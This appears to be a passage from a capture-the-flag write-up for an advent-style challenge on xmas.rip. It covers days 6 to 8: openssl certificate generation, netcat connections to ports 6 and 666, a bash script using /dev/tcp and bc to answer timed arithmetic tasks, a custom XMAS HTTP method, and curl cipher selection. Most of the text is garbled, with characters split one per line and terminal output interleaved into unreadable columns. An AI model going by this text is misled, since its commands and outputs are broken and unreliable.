U
l
R
R
D
Q
Q
Q
g
h
f
A
g
H
I
x
M
c
N
V
M
E
c
r
i
t
s
d
s
s
r
a
i
T
r
e
e
s
P
e
r
i
e
e
a
S
S
R
L
L
0
0
0
0
0
0
0
0
0
0
0
0
t
i
e
x
1
r
n
n
c
T
R
s
T
2
1
0
i
N
E
C
A
Q
c
O
2
3
3
i
H
0
M
A
U
U
Q
N
p
E
Q
p
o
F
x
z
B
K
m
t
N
t
=
e
t
i
i
n
c
L
s
i
N
s
o
p
s
s
s
K
K
P
S
S
0
1
2
3
4
5
6
7
8
9
a
b
a
m
r
t
H
x
.
:
T
t
t
t
M
O
s
E
r
r
r
c
=
=
=
c
G
C
J
n
y
C
U
L
S
3
p
P
B
W
H
H
r
V
o
A
D
9
p
C
W
n
C
G
A
V
D
=
C
n
C
e
R
g
g
T
d
a
S
p
R
s
o
s
t
h
s
s
t
0
0
0
0
0
0
0
0
0
0
0
0
r
e
i
e
T
m
1
u
-
-
i
A
V
l
D
O
e
C
e
C
e
a
=
e
I
B
B
c
M
A
l
F
2
E
C
A
A
g
M
M
M
H
d
7
A
g
c
w
M
b
v
s
W
S
C
t
e
d
e
n
n
e
s
t
v
u
e
i
n
n
i
o
e
i
i
e
i
i
u
s
s
t
o
f
n
T
a
n
e
T
L
o
S
I
(
t
t
N
t
t
U
U
D
r
N
E
g
y
D
Q
D
6
W
a
a
Q
f
B
A
A
C
S
H
w
E
6
t
U
A
5
j
N
S
o
C
N
=
r
q
i
a
m
h
i
1
b
n
o
:
e
o
c
r
o
o
r
d
d
s
e
e
-
-
-
-
-
-
-
-
-
-
-
-
u
y
d
P
s
9
g
,
y
e
n
D
s
0
=
u
=
u
u
e
x
S
S
i
t
6
N
B
A
8
h
6
6
P
u
H
8
S
G
K
m
A
R
B
Y
F
y
c
0
K
e
y
m
E
E
c
t
S
u
n
t
p
a
o
.
l
e
n
g
n
o
n
n
-
e
e
e
s
s
T
t
e
/
.
9
i
p
n
:
E
E
_
0
r
r
=
r
m
,
,
g
i
C
g
V
F
y
A
+
e
x
q
V
/
E
o
G
G
C
E
w
1
w
t
k
K
G
r
J
i
P
Z
R
=
U
e
i
i
e
g
u
k
n
2
i
g
:
N
o
:
l
-
-
K
n
n
r
s
s
f
9
1
a
c
9
2
5
f
f
6
9
i
r
d
1
r
9
n
0
e
g
R
D
c
0
D
n
U
n
n
c
a
i
f
E
A
B
b
N
M
k
B
p
X
Y
B
A
S
I
I
D
R
O
A
R
W
w
D
C
D
t
U
u
K
T
S
r
f
g
s
r
K
e
:
,
c
o
O
t
I
I
e
t
t
n
i
i
8
4
0
5
9
c
0
6
2
7
f
f
m
e
.
i
x
4
:
t
k
R
l
0
i
:
S
:
x
:
h
s
O
O
t
i
R
w
A
m
T
I
z
v
7
u
S
A
j
m
m
2
2
T
i
O
A
b
w
i
S
3
s
n
8
g
I
x
,
t
i
n
t
d
e
e
t
N
N
i
D
D
y
i
i
a
o
o
e
t
m
1
p
h
e
R
C
i
0
g
1
,
1
m
1
a
.
a
c
T
I
Y
N
J
I
3
y
S
N
a
Q
A
p
h
h
F
B
8
J
I
J
z
3
q
f
Q
X
j
d
F
m
i
c
a
e
i
y
h
O
C
k
i
O
E
a
:
:
:
-
:
t
t
m
n
n
0
c
5
e
9
1
e
4
8
7
f
0
:
:
u
a
D
t
:
e
R
N
e
0
i
a
i
r
=
=
l
a
I
B
T
y
a
B
N
8
h
/
v
D
A
j
0
0
k
D
v
p
g
3
0
4
G
Y
e
U
i
/
I
a
O
f
a
t
d
g
t
:
a
K
i
e
a
N
t
c
y
y
e
8
4
0
b
b
2
5
1
4
2
a
c
r
s
e
e
p
R
n
0
t
O
s
n
i
t
F
A
A
e
M
C
p
S
7
U
Z
A
M
B
d
d
d
M
Y
S
N
r
5
B
S
I
p
e
N
C
s
i
t
u
e
y
s
p
y
t
E
e
T
E
8
t
6
:
:
t
t
1
7
n
t
c
x
8
-
R
"
t
5
a
.
p
L
L
S
e
I
g
l
X
B
g
N
G
o
l
P
g
B
H
H
H
m
A
3
6
Y
/
U
v
I
l
J
S
4
q
A
.
=
c
e
r
S
s
p
X
h
i
d
L
C
9
x
7
h
i
i
c
e
3
b
1
a
b
e
6
d
2
4
5
2
e
t
5
a
O
"
)
l
=
r
e
e
i
C
I
V
B
M
K
c
v
m
k
5
W
0
3
A
A
V
g
B
4
T
M
V
i
b
o
w
s
J
e
T
r
a
e
i
t
e
2
r
e
i
o
S
D
F
:
2
N
i
N
c
c
f
a
6
9
6
3
8
9
4
e
a
d
4
0
c
r
2
/
l
R
-
i
t
t
g
A
S
T
0
x
C
x
z
f
9
f
g
G
d
6
6
u
G
z
m
6
o
H
F
3
8
9
q
x
M
E
i
L
t
T
g
:
:
5
e
r
s
n
v
H
7
2
o
n
o
k
k
3
0
o
0
p
i
!
I
c
S
L
p
'
'
n
T
A
M
I
E
A
t
1
e
/
g
M
A
u
L
L
d
B
L
6
A
9
9
2
D
P
P
w
V
H
-
p
e
e
y
A
n
5
a
1
E
7
D
n
t
n
e
e
9
0
1
1
1
0
7
b
f
b
0
b
9
d
s
1
l
v
!
S
o
i
e
s
s
a
E
5
R
E
T
Q
I
H
p
O
B
1
u
y
y
C
m
m
O
C
3
H
v
Q
L
Q
h
J
j
-
t
p
l
a
S
R
1
d
i
2
I
.
-
3
0
e
:
e
t
t
4
0
0
6
e
0
2
b
6
0
b
b
6
(
e
e
8
a
e
1
n
g
t
t
-
N
Y
F
A
E
3
T
Q
Y
8
0
U
b
9
9
5
e
x
l
g
2
g
W
E
a
S
w
m
Y
-
'
C
e
g
t
H
S
9
s
0
S
2
R
F
1
:
6
s
:
c
i
N
n
n
'
E
E
u
-
y
w
1
P
A
w
I
o
O
j
G
d
R
v
j
4
B
l
A
Z
a
A
F
B
/
1
J
5
c
-
s
A
s
o
u
A
A
,
3
4
S
A
5
N
l
7
3
6
c
8
d
d
1
b
6
9
e
2
e
r
2
n
O
e
a
s
n
n
r
-
K
F
d
B
x
J
b
w
O
L
A
D
O
Y
Z
b
D
d
C
f
C
A
z
C
c
p
+
7
k
-
:
r
r
5
2
E
8
s
A
D
D
o
i
e
b
7
c
4
d
b
e
b
a
7
c
4
c
0
e
3
T
c
t
c
c
e
-
B
A
G
g
G
B
F
o
B
Q
1
g
b
3
X
W
A
H
e
n
R
A
5
w
O
Q
E
1
N
E
n
i
e
1
2
6
C
u
-
3
0
n
f
1
)
t
:
t
u
E
r
r
-
I
Y
h
N
S
E
n
K
f
m
U
Q
e
N
J
F
E
N
i
Z
E
F
M
U
r
K
Y
3
L
n
a
R
t
2
5
7
D
b
p
A
5
B
e
e
7
3
4
b
4
0
5
4
9
6
7
4
:
3
K
r
n
y
y
T
k
D
v
V
v
P
s
W
7
l
d
W
m
w
0
z
C
l
G
O
h
n
C
A
r
1
H
G
Y
c
m
S
h
A
3
H
i
p
E
3
1
t
9
d
c
b
3
7
8
d
a
9
f
7
o
2
N
x
e
c
p
p
r
g
V
c
B
n
e
F
y
F
O
J
B
R
L
L
L
A
b
G
W
g
Y
I
A
y
l
d
P
B
r
e
A
m
l
b
E
t
o
S
C
B
i
k
y
:
O
m
r
t
t
u
d
Q
m
A
3
l
T
h
W
I
Q
B
W
m
m
n
T
m
7
b
z
U
C
4
H
C
E
m
y
y
s
s
g
b
y
-
r
2
D
3
m
c
7
e
7
3
7
5
f
f
b
6
3
)
e
1
W
a
T
y
,
,
s
D
Q
l
M
z
B
W
h
p
W
Q
S
X
l
l
J
A
N
Y
V
1
g
F
I
L
q
T
y
Q
p
s
:
o
i
t
R
t
5
6
B
e
7
c
4
6
2
c
2
7
2
5
b
9
s
6
N
s
r
p
t
2
K
0
T
Q
L
B
H
u
1
W
/
v
u
u
p
3
y
7
U
L
W
W
B
L
z
U
Z
n
t
s
i
r
t
e
S
e
6
F
5
,
.
u
t
C
C
A
E
e
C
0
e
M
l
N
m
M
f
8
d
d
c
B
e
g
C
f
C
L
A
2
x
p
q
F
,
e
g
R
i
s
s
A
d
-
9
9
h
5
1
6
9
7
5
e
9
4
e
b
2
G
r
s
,
N
N
C
N
w
S
H
k
l
u
k
p
D
B
m
6
C
C
I
g
X
9
0
7
A
V
Q
u
h
q
z
e
n
n
S
t
-
G
A
C
i
b
1
d
5
2
2
9
7
a
8
1
2
M
X
i
t
o
z
1
B
h
2
u
K
X
G
M
Q
q
j
1
1
I
s
B
Q
H
Z
A
k
B
j
T
L
w
j
C
t
,
A
h
a
A
C
4
E
n
-
-
-
-
-
-
-
-
-
-
-
-
T
M
p
C
=
=
.
d
M
Y
t
i
l
t
R
1
q
G
f
s
4
4
M
r
0
+
t
t
A
V
p
l
t
V
v
+
N
+
m
n
E
M
2
0
t
6
4
a
5
d
8
d
b
1
5
7
d
A
:
C
N
,
h
Z
M
Y
v
Q
Q
U
1
3
C
n
o
M
M
d
B
L
5
x
P
B
h
q
x
v
T
4
Y
D
S
s
d
S
-
3
4
:
b
6
7
d
9
1
5
a
8
7
f
d
S
5
o
L
L
R
X
z
X
M
6
G
U
+
k
C
E
T
y
y
3
g
m
/
r
3
A
8
z
l
H
s
L
P
=
S
H
:
2
S
3
6
-
.
=
e
e
C
z
Q
A
M
J
F
r
V
o
w
s
Q
B
5
5
d
E
9
5
m
t
M
2
P
d
E
t
6
v
A
A
w
5
H
D
4
3
1
f
0
7
a
8
4
5
7
0
3
5
C
,
t
t
N
U
n
e
u
t
d
9
3
Y
k
G
T
v
s
s
3
E
y
0
P
7
A
O
v
9
O
S
r
u
L
5
R
r
6
A
4
2
0
8
7
e
3
6
1
6
c
d
d
e
1
E
L
'
'
Z
c
F
c
v
N
7
c
N
A
A
o
B
Z
Z
L
A
Z
i
e
A
R
C
G
U
1
I
T
a
e
s
1
S
i
-
3
B
E
0
R
C
e
s
s
=
a
y
w
m
t
y
M
o
t
d
Q
c
g
X
X
n
Y
z
P
a
H
z
z
8
R
7
x
5
l
t
i
2
A
t
G
8
2
9
9
7
a
1
3
0
f
d
6
e
7
e
T
N
t
v
B
0
l
1
l
l
D
Q
p
U
r
g
R
R
h
L
C
u
0
Y
B
s
P
K
j
B
5
K
'
g
:
+
t
C
4
1
9
(
7
3
f
8
5
b
4
1
c
6
5
4
'
E
E
D
2
F
x
w
u
Y
I
E
a
X
F
1
r
z
z
t
f
C
k
t
A
F
r
x
t
9
G
R
2
s
n
D
S
e
M
5
6
s
H
=
s
n
n
S
M
b
O
M
N
P
V
+
j
j
B
T
B
Z
Z
Y
E
A
j
z
K
A
S
I
H
V
c
u
c
,
S
H
n
-
D
D
e
1
4
e
8
c
e
f
8
8
a
9
0
A
c
c
T
A
m
D
I
9
P
2
7
8
Q
w
Z
g
W
W
X
w
Q
y
1
T
i
7
Y
b
+
3
h
/
E
A
A
S
7
4
c
4
c
f
9
3
0
0
b
3
c
6
f
S
D
E
r
r
0
N
E
I
v
y
J
6
U
I
M
5
E
5
5
M
E
M
i
a
x
E
v
0
c
w
8
a
F
n
E
+
5
4
H
2
9
o
S
n
y
y
R
G
y
x
B
1
F
s
0
H
D
B
j
F
j
j
u
B
G
T
n
R
A
o
C
B
E
M
E
y
c
C
S
1
1
A
B
2
n
0
6
0
d
f
e
7
2
0
a
3
a
B
T
c
p
p
o
C
e
M
I
t
7
n
O
T
A
B
n
B
c
c
c
A
C
A
x
l
v
o
N
W
a
/
S
w
r
D
H
2
5
3
F
7
d
a
2
2
6
c
8
3
d
e
2
a
d
E
r
t
t
o
S
X
j
j
B
j
A
r
j
Q
g
r
Q
n
n
m
T
i
Z
C
l
B
n
Z
H
k
p
P
d
y
S
A
:
8
1
1
s
E
R
y
t
q
B
k
A
G
w
F
h
v
A
g
U
c
l
l
l
A
s
3
s
T
3
e
B
e
C
k
+
h
p
A
5
D
b
4
4
0
)
4
f
a
d
7
6
d
8
1
2
7
e
N
o
p
A
A
G
0
y
N
n
D
z
7
a
B
r
V
B
w
w
w
o
G
d
d
I
q
u
r
v
F
o
t
t
1
S
y
6
4
7
8
c
2
0
a
0
4
2
3
e
3
o
t
u
u
C
S
M
M
B
8
5
X
x
m
o
B
Y
A
d
d
g
M
A
8
F
O
Y
S
N
I
c
Y
l
s
2
A
t
4
7
N
t
t
t
A
I
S
D
g
w
N
v
L
1
4
g
d
Q
C
C
g
C
Q
d
7
W
C
f
B
0
P
Q
e
f
A
i
:
+
e
B
A
9
c
3
2
7
8
f
c
c
b
3
0
O
A
h
h
b
M
A
k
J
M
T
M
O
I
E
a
R
5
5
h
Y
Q
v
y
W
K
V
x
k
g
m
5
U
u
g
E
S
s
1
8
6
e
5
0
f
9
b
3
4
b
4
7
T
C
u
o
o
X
3
w
y
q
0
i
8
n
c
C
F
q
j
v
v
4
G
B
+
W
6
o
u
N
b
2
r
p
K
t
n
C
H
F
1
I
A
t
r
r
3
D
I
N
h
k
c
f
F
Z
e
B
Y
M
c
c
b
C
1
A
T
q
I
q
Y
C
D
q
K
h
D
A
F
2
0
d
f
0
0
6
e
b
8
a
f
d
F
h
i
i
Q
Q
T
k
u
x
D
W
I
z
Q
T
G
m
m
W
C
n
A
D
l
2
N
Q
P
r
G
D
o
S
5
5
B
d
e
d
5
0
5
7
e
d
3
5
9
I
X
o
t
t
E
Y
J
i
s
s
n
M
Y
C
c
A
E
c
c
F
s
k
A
U
D
a
d
Z
O
R
W
w
r
A
1
F
B
E
3
r
y
y
B
D
a
G
p
6
f
I
G
C
D
f
w
w
v
z
G
C
B
C
8
X
3
O
J
4
j
j
i
+
2
7
2
D
i
C
V
F
9
D
G
C
3
Z
A
A
B
L
L
M
L
A
B
Z
I
W
1
Z
x
J
F
6
r
t
S
:
5
F
!
t
X
X
w
Q
w
w
e
2
2
8
I
n
j
g
g
w
D
n
Q
A
2
E
A
b
1
V
+
p
Q
/
y
H
E
6
5
.
V
.
y
3
3
U
Q
0
0
n
C
A
z
9
c
A
N
Y
Y
I
J
U
I
F
u
f
0
z
l
R
z
m
J
A
C
7
3
P
A
.
r
.
A
D
x
B
b
p
p
q
H
w
M
V
I
I
G
p
F
E
I
3
U
z
B
F
I
j
Y
y
X
5
D
8
D
6
.
.
d
.
M
X
3
1
S
A
4
.
.
.
r
.
.
.
.
3
2
A
7
A
~
;
g
.
.
.
.
j
.
:
+
4
8
y
=
L
C
X
M
.
i
.
G
R
S
2
E
.
.
2
|
R
.
.
.
k
9
S
H
8
F
[
.
m
.
r
R
.
.
J
.
.
"
A
A
F
3
k
F
.
]
.
.
.
.
.
W
.
.
+
5
0
A
.
.
.
s
.
.
F
}
.
>
Q
S
1
B
C
.
s
.
.
5
.
.
l
.
u
.
H
2
8
B
.
L
.
.
.
.
.
.
.
.
.
A
:
1
B
.
b
.
.
.
.
s
.
.
:
.
3
R
0
8
G
.
.
.
p
j
.
.
#
~
.
8
S
D
E
.
.
5
.
.
.
.
.
4
.
4
A
F
6
.
.
.
.
e
.
.
.
.
.
:
+
D
A
D
S
0
7
S
H
8
B
A
A
8
+
3
6
S
8
9
H
4
7
A
:
5
3
D
4
8
S
5
4
A
6
:
+
C
E
S
F
C
H
0
D
A
A
S
3
5
A
8
B
+
4
5
S
:
5
H
E
8
A
C
A
3
D
5
8
S
C
4
A
9
:
+
8
R
S
F
S
H
B
A
A
3
+
3
9
S
8
7
H
4
6
A
:
2
2
R
D
5
S
E
6
A
1
:
+
D
S
S
H
A
A
+
2
S
5
H
6
A
:
2
D
5
S
6
A
:
+
E
S
C
H
D
A
S
2
A
5
+
6
S
:
H
E
A
C
2
D
5
S
6
A
:
+
R
S
S
H
A
A
+
2
S
5
H
6
A
:
2
R
2
S
4
A
:
+
D
S
S
H
A
A
+
2
S
2
H
4
A
:
2
D
2
S
4
A
:
+
E
S
C
H
D
A
S
2
A
2
+
4
S
:
H
E
A
C
2
D
2
S
4
A
:
+
R
S
S
H
A
A
+
2
S
2
H
4
A
:
1
R
:
S
D
A
S
+
A
S
+
H
S
A
H
1
A
:
1
D
:
S
E
A
C
+
D
S
S
H
A
A
+
1
S
:
H
E
A
C
1
D
S
A
+
S
H
A
1
This can also be seen in the TLS handshake in Wireshark:
Generating a certificate with the common name set to christmas:
$
G
w
e
r
o
n
i
p
e
t
e
r
i
n
a
n
s
t
g
s
i
l
n
n
g
e
r
w
e
a
q
p
R
r
-
S
i
x
A
v
5
a
0
p
t
9
r
e
i
-
v
k
s
a
e
u
t
y
b
e
j
t
k
o
"
e
/
y
'
C
c
N
e
=
r
c
t
h
.
r
k
i
e
s
y
t
'
m
a
s
"
-
n
o
d
e
s
-
n
e
w
k
e
y
"
r
s
a
:
2
0
4
8
"
-
k
e
y
o
u
t
c
e
r
t
.
k
e
y
o
u
t
c
e
r
t
.
p
e
m
Connecting to the server:
$
H
S
D
C
C
C
X
C
M
T
e
a
o
o
o
-
o
u
c
T
r
t
n
n
n
C
n
c
u
P
e
t
t
n
e
t
h
r
/
e
:
e
e
e
r
e
l
1
r
n
n
c
t
n
w
.
:
T
t
t
t
i
t
o
-
1
u
-
-
i
f
-
w
D
n
e
T
L
o
i
T
,
2
g
,
y
e
n
c
y
-
0
i
p
n
:
a
p
v
0
n
0
e
g
t
e
e
x
4
:
t
k
e
:
r
-
O
h
e
-
y
c
K
D
t
:
e
D
t
e
e
e
p
n
e
y
r
c
x
1
-
:
x
a
t
t
2
a
t
y
2
/
1
l
C
/
!
c
0
p
7
i
N
p
e
1
l
v
=
l
`
r
8
a
e
c
a
\
t
i
h
i
.
2
n
r
n
p
3
i
e
:
s
|
m
4
t
`
_
1
m
{
-
,
:
a
]
-
-
2
s
-
k
2
\
e
y
G
_
_
M
,
,
,
c
T
|
e
r
_
{
t
}
_
.
`
_
_
k
.
`
)
_
e
\
,
y
_
,
\
h
t
|
t
_
`
p
}
{
-
s
`
]
-
:
.
-
/
\
/
|
x
|
m
`
a
`
s
.
r
i
p
:
5
{
_
_
_
_
}
`
`
'
|
Done.
6/TCP#
Day 6:
Connecting to port 6:
$
n
c
x
m
a
s
.
r
i
p
6
Notthing happens.
Connecting to port 666 when port 6 is still connected:
$
n
c
x
m
a
s
.
r
i
p
6
6
6
Now, in the TCP connection on port 6, a calculation appears:
$
6
5
n
8
c
9
8
x
/
m
6
a
0
s
4
.
3
r
4
i
p
6
This has to be calculated quickly and sent to the connection on port 666, otherwise, the task failed:
$
6
Y
8
o
n
7
u
c
7
r
8
x
*
T
m
3
i
a
8
m
s
1
e
.
3
r
6
i
i
s
p
u
6
p
.
T
s
c
h
i
n
g
l
e
F
a
i
l
This can be done by a small script that creates a socket to both ports, reads the calculation from port 6 and sends the answer to port 666 until no calculation is sent anymore:
#!/usr/bin/env bash
host= "xmas.rip"
echo "[*] Connecting to $host on port 6..."
exec 3<> /dev/tcp/$host/6
sleep 0.5
echo "[*] Connecting to $host on port 666..."
exec 4<> /dev/tcp/$host/666
sleep 0.5
IFS= ''
while read -u 3 "task"
do
if [[ " $task" = ~ ^[ 0-9] ]]
then
echo "[*] Task: $task"
echo "[*] Solving and sending task to port 666..."
bc -lq <<< " $task" | cut -d. -f1 >&4
else
echo " $task"
fi
sleep 0.5
done <&3
echo "[*] Finished."
Executing the script works:
[
[
[
[
C
[
[
C
[
[
C
[
[
C
[
[
C
[
[
C
[
[
C
[
[
N
s
E
[
*
*
*
*
o
*
*
o
*
*
o
*
*
o
*
*
o
*
*
o
*
*
o
*
*
o
n
U
*
]
]
]
]
n
]
]
n
]
]
n
]
]
n
]
]
n
]
]
n
]
]
n
]
]
w
o
5
]
g
g
g
g
g
g
g
w
7
C
C
T
S
r
T
S
r
T
S
r
T
S
r
T
S
r
T
S
r
T
S
r
T
S
t
b
q
F
o
o
a
o
a
a
o
a
a
o
a
a
o
a
a
o
a
a
o
a
a
o
a
a
o
h
a
n
i
n
n
s
l
t
s
l
t
s
l
t
s
l
t
s
l
t
s
l
t
s
l
t
s
l
a
l
z
n
n
n
k
v
u
k
v
u
k
v
u
k
v
u
k
v
u
k
v
u
k
v
u
k
v
t
l
V
i
e
e
:
i
l
:
i
l
:
i
l
:
i
l
:
i
l
:
i
l
:
i
l
:
i
A
B
s
c
c
n
a
n
a
n
a
n
a
n
a
n
a
n
a
n
w
f
g
B
h
t
t
9
g
t
1
g
t
4
g
t
4
g
t
8
g
t
5
g
t
2
g
t
8
g
i
i
M
B
B
B
B
B
e
i
i
5
i
8
i
0
i
6
i
9
i
7
i
7
i
8
n
g
B
B
B
B
B
B
`
d
n
n
9
a
o
0
a
o
1
a
o
2
a
o
1
a
o
6
a
o
9
a
o
1
a
t
h
A
B
_
.
.
g
g
7
n
n
7
n
n
1
n
n
6
n
n
9
n
n
1
n
n
9
n
n
5
n
e
t
A
B
d
_
0
d
s
7
d
s
2
d
s
0
d
s
d
s
1
d
s
2
d
s
9
d
r
.
E
B
"
`
_
.
t
t
+
.
.
+
.
.
7
.
-
.
*
.
*
C
d
B
B
:
B
'
o
o
9
s
.
4
s
.
6
s
.
5
s
.
7
s
.
9
s
.
1
s
.
4
s
i
g
B
B
B
B
B
B
B
B
"
o
B
B
B
B
"
4
e
.
5
e
.
7
e
.
3
e
.
8
e
.
2
e
.
0
e
.
1
e
s
H
g
B
B
B
B
B
d
B
B
P
.
B
B
B
B
.
x
x
3
n
3
n
4
n
1
n
4
n
3
n
2
n
2
n
i
E
B
B
B
B
d
B
B
B
'
d
B
g
m
m
5
d
T
6
d
T
8
d
T
6
d
T
6
d
T
8
d
T
7
d
T
5
d
u
g
A
B
d
B
B
P
B
B
B
P
B
B
"
o
a
a
6
i
h
7
i
h
5
i
h
6
i
h
i
h
1
i
h
5
i
h
7
i
p
h
O
B
B
B
B
B
B
B
B
.
B
B
B
"
B
B
"
t
s
s
n
i
n
i
n
i
n
i
n
i
n
i
n
i
n
o
l
B
B
B
B
B
d
B
B
P
d
B
B
B
"
B
B
"
c
.
.
g
s
g
s
g
s
g
s
g
s
g
s
g
s
g
n
t
d
B
B
B
B
B
B
B
B
B
B
B
B
B
B
B
d
B
B
:
B
B
"
h
r
r
i
V
;
:
B
B
B
B
B
B
B
B
B
B
P
B
B
B
B
B
B
B
=
B
B
"
a
i
i
t
w
t
w
t
w
t
w
t
w
t
w
t
w
t
u
m
a
B
B
?
B
B
B
B
B
B
B
B
B
B
d
B
B
B
P
B
B
B
=
B
B
!
p
p
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
s
e
H
B
B
B
?
b
B
B
B
B
B
B
B
B
B
B
B
B
B
"
B
B
B
=
B
B
"
s
s
s
s
s
s
s
s
s
s
s
s
s
s
s
,
a
b
B
?
`
|
b
B
B
B
B
B
B
P
P
B
B
B
B
d
B
B
=
B
B
"
o
o
k
k
k
k
k
k
k
k
i
j
d
B
P
*
b
B
B
B
B
B
d
d
B
B
B
P
B
B
:
B
B
y
n
n
c
c
c
c
c
c
c
i
t
Q
B
B
B
B
8
b
B
B
B
B
B
B
B
B
B
"
a
t
o
t
o
t
o
t
o
t
o
t
o
t
o
t
t
Q
B
B
B
B
B
d
B
B
B
B
B
B
B
B
B
h
p
p
o
r
o
r
o
r
o
r
o
r
o
r
o
r
o
s
t
b
B
?
"
B
d
B
B
B
B
B
B
B
B
B
B
a
o
o
r
r
r
r
r
r
r
a
p
n
d
B
P
.
B
|
d
B
B
B
B
B
B
B
B
B
B
P
h
r
r
p
e
p
e
p
e
p
e
p
e
p
e
p
e
p
p
r
t
B
B
B
P
d
P
d
B
B
B
B
B
B
B
B
B
B
B
a
t
t
o
c
o
c
o
c
o
c
o
c
o
c
o
c
o
p
e
w
B
B
P
"
`
B
'
B
B
B
B
B
B
B
B
B
B
B
P
h
r
t
r
t
r
t
r
t
r
t
r
t
r
t
r
e
a
/
,
.
d
B
`
B
B
B
B
B
B
B
B
B
B
P
a
6
6
t
t
t
t
t
t
t
t
a
d
T
d
B
B
-
B
B
'
`
B
B
B
B
B
B
B
B
B
B
h
.
6
r
v
d
B
B
B
O
b
B
P
_
b
B
B
"
a
.
6
6
6
6
6
6
6
6
6
s
h
U
d
B
B
"
"
B
B
B
!
.
.
6
6
6
6
6
6
6
6
e
w
B
"
B
-
"
b
B
B
"
!
.
6
6
6
6
6
6
6
6
t
r
E
B
"
B
"
-
`
B
B
B
.
.
.
.
.
.
.
.
.
h
e
s
b
B
B
"
"
"
b
B
B
"
.
.
.
.
.
.
.
.
e
.
6
b
B
B
B
"
B
B
B
.
.
.
.
.
.
.
.
r
.
4
b
B
B
.
"
b
B
B
"
e
.
m
O
-
"
`
B
P
Y
"
-
"
"
O
b
i
6
B
B
B
B
B
-
"
O
-
"
_
`
s
T
B
B
B
B
B
"
-
O
_
.
R
B
B
"
-
a
T
B
B
-
4
b
B
P
O
w
L
B
d
o
Y
B
O
.
r
F
d
P
O
l
k
d
B
d
H
d
B
P
-
U
B
P
w
P
P
i
N
d
v
e
F
1
A
W
S
N
C
w
I
I
7/TCP#
Day 7:
The OPTIONS request shows that there is a XMAS HTTP method:
$
>
>
>
>
<
<
<
<
<
<
<
W
e
c
T
C
O
H
U
A
H
S
D
C
C
C
A
C
u
C
o
P
o
s
c
T
e
a
o
o
o
l
o
g
r
T
P
n
T
s
e
c
T
r
t
n
n
n
l
n
o
l
r
_
n
I
t
r
e
P
e
t
t
n
o
n
t
y
N
e
O
:
-
p
/
e
:
e
e
e
w
e
t
i
O
c
N
A
t
1
r
n
n
c
:
c
a
n
D
t
S
x
g
:
.
:
M
t
t
t
t
g
E
e
m
e
1
o
-
-
i
H
i
m
-
L
d
/
a
n
n
n
T
L
o
E
o
a
X
2
A
s
t
2
g
,
y
e
n
A
n
k
0
Y
t
H
.
:
0
i
p
n
:
D
e
O
0
o
T
r
0
n
1
e
g
,
#
P
1
s
T
i
c
x
0
:
t
k
0
s
T
:
e
x
P
p
u
O
h
e
P
o
I
4
t
m
/
:
r
K
D
t
:
e
O
t
m
O
1
a
1
7
l
e
e
p
S
o
e
N
d
s
.
/
c
x
2
-
T
S
0
.
1
7
t
9
a
,
h
d
:
r
.
2
/
l
o
e
h
7
i
6
0
p
i
G
s
c
t
0
p
2
1
l
v
E
t
i
t
1
.
8
a
e
T
s
p
:
(
0
i
,
x
i
:
1
2
2
n
m
o
/
1
0
0
X
a
n
/
0
0
:
M
s
s
x
0
1
4
A
.
.
m
:
:
8
S
r
a
:
4
:
i
s
2
1
3
p
.
0
d
0
r
7
0
l
i
c
:
G
e
p
.
7
M
f
:
.
0
T
t
7
.
1
:
i
1
n
1
t
0
a
0
c
:
t
:
2
0
7
c
)
p
o
r
t
7
(
#
0
)
Using the XMAS method to connect:
$
>
>
>
>
<
<
<
<
<
<
X
M
c
T
C
X
H
U
A
H
S
D
C
C
C
A
`
C
u
C
o
M
o
s
c
T
e
a
o
o
o
S
"
o
r
T
P
n
A
s
e
c
T
r
t
n
n
n
"
"
n
l
r
_
n
S
t
r
e
P
e
t
t
n
F
"
'
/
n
y
N
e
:
-
p
/
e
:
e
e
e
U
"
`
e
i
O
c
/
A
t
1
r
n
n
c
N
"
c
n
D
t
x
g
:
.
:
M
t
t
t
!
"
t
g
E
e
H
m
e
1
o
-
-
i
!
"
`
i
-
L
d
T
a
n
n
n
T
L
o
\
o
X
2
A
T
s
t
9
g
,
y
e
n
n
0
Y
t
P
.
:
9
i
p
n
:
X
0
o
r
9
n
1
e
g
#
M
1
s
1
i
c
x
0
:
t
k
`
j
0
A
:
e
x
.
p
u
h
e
.
g
S
4
t
m
1
:
r
D
t
:
e
s
t
1
a
7
l
e
e
p
o
h
d
s
/
c
x
1
-
t
0
.
7
t
1
a
h
t
:
r
.
2
/
2
l
o
p
7
i
6
0
p
8
i
s
:
0
p
2
1
l
v
`
t
/
1
.
8
a
e
\
`
/
:
(
0
i
`
`
x
"
x
1
2
2
n
\
"
m
"
m
1
0
0
`
`
a
`
a
0
0
:
s
s
0
1
4
'
.
`
.
:
:
8
=
r
"
r
:
4
:
.
`
`
i
"
i
2
1
3
`
`
"
p
"
p
0
d
8
`
`
:
7
0
l
7
c
:
G
e
.
7
M
.
f
.
0
T
=
t
.
1
.
C
:
.
M
i
1
,
H
n
1
E
t
0
-
`
R
a
0
"
'
R
c
:
"
I
t
:
"
R
2
-
S
0
-
Y
7
,
T
c
`
)
\
M
p
O
o
r
O
t
S
7
E
(
#
!
0
)
8/TCP#
Day 8:
When a connection is established, the server tells that I should use another cipher:
$
H
S
D
C
C
C
C
Y
T
e
a
o
o
o
H
o
c
T
r
t
n
n
n
R
u
u
P
e
t
t
n
I
r
/
e
:
e
e
e
S
s
l
1
r
n
n
c
T
h
.
:
F
t
t
t
M
a
-
1
r
-
-
i
A
l
D
n
i
T
L
o
S
l
9
g
,
y
e
n
-
9
i
p
n
:
E
n
9
n
1
e
g
R
o
h
x
4
:
t
k
R
t
t
h
e
R
t
D
t
:
e
R
u
p
e
e
p
R
s
s
c
x
7
-
R
e
:
t
0
a
O
/
2
/
l
R
E
/
0
p
i
!
C
x
1
l
v
!
D
m
8
a
e
1
H
a
i
E
s
2
n
-
.
2
R
r
:
S
i
3
A
p
3
-
:
:
A
8
1
E
4
S
2
G
5
M
6
T
-
G
C
M
-
S
H
A
3
8
4
!
e
Curl supports various ciphers: https://curl.haxx.se/docs/ssl-ciphers.html .
Connecting to the cerver using the ECDHE-RSA-CHACHA20-POLY1305 cipher:
$
>
>
>
>
<
<
<
<
<
<
<
<
L
L
e
Y
c
T
C
A
A
C
s
C
T
T
T
T
T
T
T
T
T
T
T
S
A
S
G
H
U
A
H
S
D
C
C
C
X
C
t
u
C
o
L
L
i
u
A
L
L
L
L
L
L
L
L
L
L
L
S
L
e
s
s
e
s
i
S
E
o
s
c
T
e
a
o
o
o
-
o
'
H
r
T
P
n
P
P
p
c
C
p
S
S
S
S
S
S
S
S
S
S
S
L
P
